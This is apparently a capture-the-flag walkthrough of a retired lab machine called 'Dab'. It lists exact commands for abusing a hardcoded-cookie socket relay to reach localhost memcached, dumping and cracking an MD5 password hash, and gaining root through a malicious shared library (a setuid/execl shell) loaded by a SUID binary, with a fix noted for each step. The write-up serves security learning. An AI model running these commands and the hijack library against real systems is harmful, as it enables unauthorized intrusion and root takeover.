Dab
Summary
I scanned dab ($TARGET) and found an internal development web app on port 8080 whose only authentication was a hardcoded cookie value. After bypassing that gate, a TCP socket-relay endpoint let me probe services bound only to localhost, revealing an unauthenticated memcached instance on port 11211 that was invisible to external scans.
Issuing memcached dump commands through the relay extracted an unsalted MD5 password hash for user 'genevieve', which was cracked offline in seconds and used to log in over SSH to capture the user flag. Privilege escalation abused a SUID-root binary (/usr/bin/myexec) that dynamically loads 'libseclogin.so' at run-time: because /tmp was listed in the system dynamic-linker search path (/etc/ld.so.conf.d), a malicious replacement library compiled in /tmp was loaded by the SUID binary when invoked with its unlock password, executing my own code as root and capturing the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export HASH="<the-hash-you-recovered>"
export COOKIE="<the-session-cookie-you-captured>"Attack path: how the box was taken
Exact commands 2
Identify services, grab banners, and check for anonymous FTP.
$ nmap -Pn -sV -p21,22,80,8080 --script ftp-anon,http-title,http-headers $TARGETAnonymous, list files, and download dab.jpg: confirms the FTP share is a dead end.
$ ftp $TARGETExact commands 1
Verify the cookie unlocks the socket relay by sending a probe to a known-open port; a response body confirms the gate is open.
$ curl -sS -G -H "Cookie: $COOKIE" --data-urlencode 'port=80' --data-urlencode 'cmd=GET / HTTP/1.0' "http://$TARGET:8080/socket"FixReplace the hardcoded cookie password with proper authentication on the 8080 applicationHigh
Exact commands 2
Brute-force internal TCP ports via the socket relay; '--hw 0' filters empty/error responses to surface live services.
$ wfuzz -H "Cookie: $COOKIE" -c -z range,1-65535 --hw 0 "http://$TARGET:8080/socket?port=FUZZ&cmd=version"Confirm memcached is present and responsive on loopback port 11211.
$ curl -sS -G -H "Cookie: $COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=version' "http://$TARGET:8080/socket"FixRemove or strictly restrict the TCP socket-relay (SSRF) endpointCritical
Exact commands 3
List active memcached slabs to identify which contain data; note the slab IDs for subsequent dumps.
$ curl -sS -G -H "Cookie: $COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats slabs' "http://$TARGET:8080/socket"Dump slab 16 (application/stock data).
$ curl -sS -G -H "Cookie: $COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats cachedump 16 1000' "http://$TARGET:8080/socket"Dump slab 26: returns genevieve's MD5 hash.
$ curl -sS -G -H "Cookie: $COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats cachedump 26 1000' "http://$TARGET:8080/socket"FixEnable memcached authentication and never store credential material in the cacheCritical
Exact commands 3
Write the recovered hash to a file for John.
$ echo "$HASH" > genevieve.hashCrack the unsalted MD5; recovers <withheld> within seconds on a modern CPU.
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt genevieve.hashDisplay the cracked plaintext credential.
$ john --show --format=raw-md5 genevieve.hashFixReplace unsalted MD5 with a memory-hard password hashing algorithmCritical
Exact commands 2
Authenticate with password; spawns an interactive shell as genevieve.
$ ssh genevieve@$TARGETRead the user flag: <user.txt>
$ cat /home/genevieve/user.txtExact commands 7
Enumerate all SUID binaries on the system; identifies /usr/bin/myexec among the results.
$ find / -perm -4000 -type f 2>/dev/nullConfirm the binary links against libseclogin.so and note the library paths the linker will search.
$ ldd /usr/bin/myexecVerify that /tmp (a world-writable directory) appears in the dynamic linker search path.
$ cat /etc/ld.so.conf.d/*.confWrite the malicious library source. The seclogin() export matches the symbol the real binary calls.
$ cat > /tmp/libseclogin.c << 'EOF'
#include <unistd.h>
void seclogin(void) {
setuid(0);
setgid(0);
execl("/bin/sh", "sh", NULL);
}
EOFCompile the malicious shared library in /tmp: the world-writable directory the linker will search first.
$ gcc -shared -fPIC -o /tmp/libseclogin.so /tmp/libseclogin.cRun the SUID binary; when prompted 'Enter password:' type <withheld>: the linker loads /tmp/libseclogin.so and executes seclogin() as root, dropping a root shell.
$ /usr/bin/myexecRead the root flag from the root shell: <root.txt>
$ cat /root/root.txtFixRemove world-writable directories from the dynamic linker search path and audit SUID binaries that load non-system librariesCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 21/tcp | ftp |
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http |
| 8080/tcp | http-proxy |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.